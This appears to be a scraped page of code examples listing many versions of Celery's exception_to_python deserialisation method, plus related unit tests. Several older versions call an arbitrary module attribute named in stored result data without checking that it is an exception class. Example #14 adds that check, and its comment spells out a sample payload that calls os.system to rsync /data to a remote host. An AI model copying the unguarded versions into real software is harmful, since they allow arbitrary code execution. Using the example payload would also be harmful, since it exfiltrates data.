Beispiel #1
1
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 try:
                     # Load module and find exception class in that
                     cls = sys.modules[exc_module]
                     # The type can contain qualified name with parent classes
                     for name in exc_type.split('.'):
                         cls = getattr(cls, name)
                 except (KeyError, AttributeError):
                     cls = create_exception_cls(exc_type,
                                                celery.exceptions.__name__)
             exc_msg = exc['exc_message']
             try:
                 if isinstance(exc_msg, (tuple, list)):
                     exc = cls(*exc_msg)
                 else:
                     exc = cls(exc_msg)
             except Exception as err:  # noqa
                 exc = Exception(f'{cls}({exc_msg})')
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Beispiel #2
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 try:
                     cls = getattr(sys.modules[exc_module], exc_type)
                 except (KeyError, AttributeError):
                     cls = create_exception_cls(exc_type,
                                                celery.exceptions.__name__)
             exc_msg = exc['exc_message']
             try:
                 if isinstance(exc_msg, tuple):
                     exc = cls(*exc_msg)
                 else:
                     exc = cls(exc_msg)
             except Exception as err:  # noqa
                 exc = Exception('{}({})'.format(cls, exc_msg))
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Beispiel #3
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     elif not isinstance(exc, BaseException):
         return create_exception_cls(from_utf8(exc['exc_type']),
                                     __name__)(exc['exc_message'])
     return exc
Beispiel #4
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if not isinstance(exc, BaseException):
         exc = create_exception_cls(
             from_utf8(exc['exc_type']), __name__)(exc['exc_message'])
     if self.serializer in EXCEPTION_ABLE_CODECS:
         exc = get_pickled_exception(exc)
     return exc
Beispiel #5
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(
                     from_utf8(exc['exc_type']), __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 try:
                     cls = getattr(sys.modules[exc_module], exc_type)
                 except KeyError:
                     cls = create_exception_cls(exc_type,
                                                celery.exceptions.__name__)
             exc_msg = exc['exc_message']
             exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Beispiel #6
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 cls = getattr(sys.modules[exc_module], exc_type)
             exc_msg = exc['exc_message']
             exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Beispiel #7
0
 def test_create_exception_cls(self):
     assert serialization.create_exception_cls('FooError', 'm')
     assert serialization.create_exception_cls('FooError', 'm', KeyError)
Beispiel #8
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     return create_exception_cls(from_utf8(exc['exc_type']),
                                 sys.modules[__name__])(exc['exc_message'])
Beispiel #9
0
 def test_create_exception_cls(self):
     self.assertTrue(serialization.create_exception_cls("FooError", "m"))
     self.assertTrue(serialization.create_exception_cls("FooError",
                                                         "m",
                                                         KeyError))
Beispiel #10
0
 def test_create_exception_cls(self):
     self.assertTrue(serialization.create_exception_cls('FooError', 'm'))
     self.assertTrue(
         serialization.create_exception_cls('FooError', 'm', KeyError))
Beispiel #11
0
 def test_create_exception_cls(self):
     self.assertTrue(serialization.create_exception_cls('FooError', 'm'))
     self.assertTrue(serialization.create_exception_cls('FooError', 'm',
                                                        KeyError))
Beispiel #12
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     return create_exception_cls(from_utf8(exc['exc_type']),
                                 sys.modules[__name__])(exc['exc_message'])
Beispiel #13
0
 def test_create_exception_cls(self):
     self.assertTrue(serialization.create_exception_cls("FooError", "m"))
     self.assertTrue(
         serialization.create_exception_cls("FooError", "m", KeyError))
Beispiel #14
0
    def exception_to_python(self, exc):
        """Convert serialized exception to Python exception."""
        if not exc:
            return None
        elif isinstance(exc, BaseException):
            if self.serializer in EXCEPTION_ABLE_CODECS:
                exc = get_pickled_exception(exc)
            return exc
        elif not isinstance(exc, dict):
            try:
                exc = dict(exc)
            except TypeError as e:
                raise TypeError(f"If the stored exception isn't an "
                                f"instance of "
                                f"BaseException, it must be a dictionary.\n"
                                f"Instead got: {exc}") from e

        exc_module = exc.get('exc_module')
        try:
            exc_type = exc['exc_type']
        except KeyError as e:
            raise ValueError("Exception information must include "
                             "the exception type") from e
        if exc_module is None:
            cls = create_exception_cls(
                exc_type, __name__)
        else:
            try:
                # Load module and find exception class in that
                cls = sys.modules[exc_module]
                # The type can contain qualified name with parent classes
                for name in exc_type.split('.'):
                    cls = getattr(cls, name)
            except (KeyError, AttributeError):
                cls = create_exception_cls(exc_type,
                                           celery.exceptions.__name__)
        exc_msg = exc.get('exc_message', '')

        # If the recreated exception type isn't indeed an exception,
        # this is a security issue. Without the condition below, an attacker
        # could exploit a stored command vulnerability to execute arbitrary
        # python code such as:
        # os.system("rsync /data [email protected]:~/data")
        # The attacker sets the task's result to a failure in the result
        # backend with the os as the module, the system function as the
        # exception type and the payload
        # rsync /data [email protected]:~/data
        # as the exception arguments like so:
        # {
        #   "exc_module": "os",
        #   "exc_type": "system",
        #   "exc_message": "rsync /data [email protected]:~/data"
        # }
        if not isinstance(cls, type) or not issubclass(cls, BaseException):
            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
            raise SecurityError(
                f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")

        # XXX: Without verifying `cls` is actually an exception class,
        #      an attacker could execute arbitrary python code.
        #      cls could be anything, even eval().
        try:
            if isinstance(exc_msg, (tuple, list)):
                exc = cls(*exc_msg)
            else:
                exc = cls(exc_msg)
        except Exception as err:  # noqa
            exc = Exception(f'{cls}({exc_msg})')

        return exc
Beispiel #15
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if (self.app.conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml")):
         return get_pickled_exception(exc)
     return create_exception_cls(exc["exc_type"].encode("utf-8"),
                                 sys.modules[__name__])
Beispiel #16
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if app_or_default().conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml"):
         return get_pickled_exception(exc)
     return create_exception_cls(exc["exc_type"].encode("utf-8"), sys.modules[__name__])